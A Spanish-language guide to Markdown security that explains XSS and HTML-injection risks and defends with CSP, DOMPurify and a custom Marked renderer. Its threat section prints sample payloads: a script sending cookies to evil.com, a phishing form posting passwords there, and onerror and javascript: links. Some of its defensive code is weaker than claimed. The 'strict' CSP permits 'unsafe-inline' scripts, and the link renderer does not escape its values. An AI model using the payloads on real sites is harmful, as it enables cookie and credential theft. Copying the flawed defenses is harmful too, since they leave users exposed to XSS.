Mejores prácticas de seguridad Markdown
Aunque Markdown parece texto plano, el manejo inadecuado puede llevar a vulnerabilidades de seguridad graves. Esta guía te muestra cómo manejar contenido Markdown de forma segura.
Amenazas de seguridad comunes
1. XSS (Cross-Site Scripting)
Markdown permite incrustar HTML, lo que puede ser explotado para inyectar scripts maliciosos:
markdown
<!-- Peligroso: HTML sin sanitizar -->
<script>
// Robar cookies
fetch('https://evil.com/steal?data=' + document.cookie);
</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('XSS')">Haz clic</a>2. Inyección HTML
Incluso sin JavaScript, HTML malicioso puede causar daño:
markdown
<!-- Ataque de phishing -->
<form action="https://evil.com/phish" method="POST">
<input type="password" name="password" placeholder="Ingrese contraseña">
<button>Iniciar sesión</button>
</form>Estrategias de defensa
1. Content Security Policy (CSP)
Implementar encabezados CSP estrictos:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">2. Sanitización HTML
Usar bibliotecas de sanitización dedicadas:
DOMPurify (navegador)
javascript
import DOMPurify from 'dompurify';
import marked from 'marked';
const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
FORBID_ATTR: ['onerror', 'onclick', 'onload']
});
document.getElementById('output').innerHTML = clean;3. Configurar parser Markdown seguro
Configuración segura Marked
javascript
const marked = require('marked');
const renderer = {
html(html) {
// Bloquear HTML completamente
return '';
},
link(href, title, text) {
// Permitir solo protocolos seguros
const safeProtocols = ['http:', 'https:', 'mailto:'];
try {
const url = new URL(href);
if (!safeProtocols.includes(url.protocol)) {
return text;
}
} catch {
return text;
}
return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
}
};
marked.use({ renderer });Lista de verificación de seguridad
Antes del despliegue
- [ ] Activar Content Security Policy (CSP)
- [ ] Implementar sanitización HTML (DOMPurify/sanitize-html)
- [ ] Desactivar o restringir HTML sin procesar
- [ ] Validar todas las URLs y enlaces
- [ ] Implementar limitación de tasa
- [ ] Agregar protección CSRF
- [ ] Validar cargas de archivos
- [ ] Implementar autenticación y autorización
- [ ] Establecer límites de longitud de contenido
- [ ] Activar HTTPS
- [ ] Configurar encabezados HTTP seguros
- [ ] Implementar registro y monitoreo
- [ ] Realizar auditorías de seguridad regulares
- [ ] Mantener las dependencias actualizadas
Conclusión
La seguridad de Markdown no debe descuidarse. Al implementar medidas apropiadas de sanitización, validación, autenticación y monitoreo, puedes manejar de forma segura el contenido Markdown generado por usuarios y proteger aplicaciones y usuarios de ataques.